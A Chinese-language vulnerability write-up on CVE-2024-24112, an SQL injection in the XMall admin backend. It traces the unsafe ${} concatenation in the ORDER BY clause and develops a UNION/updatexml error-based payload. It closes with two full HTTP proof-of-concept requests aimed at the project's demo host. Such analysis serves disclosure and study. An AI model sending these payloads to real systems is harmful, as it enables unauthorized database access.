CVE-2024-24112 XMall后台管理系统 SQL 注入漏洞分析

------作者本科毕业设计项目 基于 Spring Boot + Vue 开发而成......

Affected Component

  • /item/list

  • /item/listSearch

  • /sys/log

  • /order/list

  • /member/list (need time-based blind injection)

  • /member/list/remove

项目下载地址

Exrick/xmall: 基于SOA架构的分布式电商购物商城 前后端分离 前台商城:Vue全家桶 后台管理系统:Dubbo/SSM/Elasticsearch/Redis/MySQL/ActiveMQ/Shiro/Zookeeper等 (github.com)https://github.com/Exrick/xmall/tree/master

漏洞点分析

Controller层-00 注意order0dir orderDir的传参

跟入getItemSearchList 方法

跟入selectItemByMultiCondition方法

注意到335行 与 336行 用${} 的方法进行sql语句进行拼接

进一步利用分析

分析如何如何才能进一步利用

首先order0column 要传递一个数字 用来取数组下标,而这个变量之后还拼接到了order by 第一个条件中(${orderCol}),

odderDir 要想进行sql注入必须得考虑前面有数字,

所以这样的好号 在后面直接加入if() 或者 updatexml 进行sql注入显然是不行的 ,我们还可以考虑下union select。

简单的进行下sql oder by 注入,结果都失败了。

不过由于后端没有屏蔽掉sql报错,在进行测试的时候我们发现了底层执行sql的逻辑

既然这样的话,那么我们就不用自己那软件在去测了,

select count(0) from (SELECT * FROM tb_item WHERE (title LIKE ? OR sell_point LIKE ? OR price LIKE ? OR id LIKE ?) ORDER BY id test)

研究上面的语句,如何进入sql注入。

其中test显然是我们可控的变量,要考虑union+select 首先的用")"闭合前面"(",闭合之后,我们就可以使用

union+select ,不过在这之间遇到了一点小情况,在我本地进行测试执行如下sql语句时

SELECT COUNT(0) FROM (SELECT * FROM blade_user)

sql无法执行

上网查一下解决方式 ,发现为子查询指定别名 a便可以解决报错问题

SELECT COUNT(0) FROM (SELECT * FROM blade_user) AS subquery_alias

SELECT COUNT(0) FROM (SELECT * FROM blade_user)a

这样的话select执行完整 ,我们可以进行联合注入了

有如下的payload进行测试

SELECT COUNT(0) FROM (SELECT * FROM blade_user) AS subquery_alias union select updatexml(1,concat(0x7e,user(),0x7e),1)

SELECT COUNT(0) FROM (SELECT * FROM blade_user)a union select updatexml(1,concat(0x7e,user(),0x7e),1)

ok ,现在一切准备就绪,开始sql注入了

漏洞复现
复制代码
GET /item/list?draw=1&start=0&length=1&cid=-1&searchKey=1&minDate=1&maxDate=1&search%5Bvalue%5D=1&order%5B0%5D%5Bcolumn%5D=1&order%5B0%5D%5Bdir%5D=)+AS+subquery_alias+union+select+updatexml(1,concat(0x7e,database(),0x7e),1)%23; HTTP/1.1
Host: xmadmin.exrick.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_90194188523e0a2d04ad3ad170c83f30=1710743075; Hm_lpvt_90194188523e0a2d04ad3ad170c83f30=1710743075; JSESSIONID=AFE210EF5FD6B308E597E4BEB06A5D86
Connection: close
css 复制代码
GET /item/list?draw=1&start=0&length=1&cid=-1&searchKey=1&minDate=1&maxDate=1&search%5Bvalue%5D=1&order%5B0%5D%5Bcolumn%5D=1&order%5B0%5D%5Bdir%5D=)a+union+select+updatexml(1,concat(0x7e,database(),0x7e),1)%23; HTTP/1.1
Host: xmadmin.exrick.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_90194188523e0a2d04ad3ad170c83f30=1710743075; Hm_lpvt_90194188523e0a2d04ad3ad170c83f30=1710743075; JSESSIONID=AFE210EF5FD6B308E597E4BEB06A5D86
Connection: close
复制代码
相关推荐
对空六课35 分钟前
两个统计平台数据不同:用同一时间窗和事件样本做差异定位
大数据·前端·网络·数据库
wno7046 小时前
postgresSQL压缩版安装与基本命令
数据库·postgresql
聚美智数8 小时前
智能结构化识别-图片结构解析-图像结构化解析-照片结构化解析
android·java·数据库
瀚高PG实验室8 小时前
瀚高数据库常用系统表查询入门指南(附常用SQL)
数据库·sql·postgresql·瀚高数据库
ben9518chen8 小时前
mysql数据库基本操作
数据库·mysql
2603_965148118 小时前
电商选品调研:通过关键词搜索API获取市场热销商品,结合商品详情API分析竞品卖点与定价
开发语言·数据库·人工智能·python·信息可视化
土豆.exe9 小时前
nf_tables 的 verdict 被读了两次:一个十年未闭合的位域错配
java·数据库·网络安全·缓存
缓慢更新9 小时前
表单引擎的存储建模:宽表与文档库的取舍
运维·服务器·网络·数据库·低代码·oracle·适配器模式
Web3&Basketball11 小时前
实测Gemini4Argon:ERQA 87%登顶长程任务榜
数据库·python·大模型·多模态·gemini·长上下文·推理优化
xiaogai_gai11 小时前
金蝶收料通知单查询策略实战教程:从源系统拉取到中间层落地的完整路径
java·前端·数据库